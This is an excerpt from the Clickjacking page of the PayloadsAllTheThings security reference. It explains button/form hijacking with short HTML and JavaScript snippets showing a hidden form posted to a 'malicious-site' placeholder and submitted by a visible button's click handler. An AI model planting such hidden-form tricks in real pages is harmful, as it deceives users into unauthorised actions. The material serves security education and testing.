Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge. * **How Button/Form Hijacking Works:** * Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it. ```html <button onclick="submitForm()">Click me</button> ``` * Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form. ```html <form action="malicious-site" method="POST" id="hidden-form" style="display: none;"> <!-- Hidden form fields --> </form> ``` * Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage. ```html <button onclick="submitForm()">Click me</button> <form action="legitimate-site" method="POST" id="hidden-form"> <!-- Hidden form fields --> </form> <script> function submitForm() { document.getElementById('hidden-form').submit(); } </script> ```
Source: Clickjacking/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.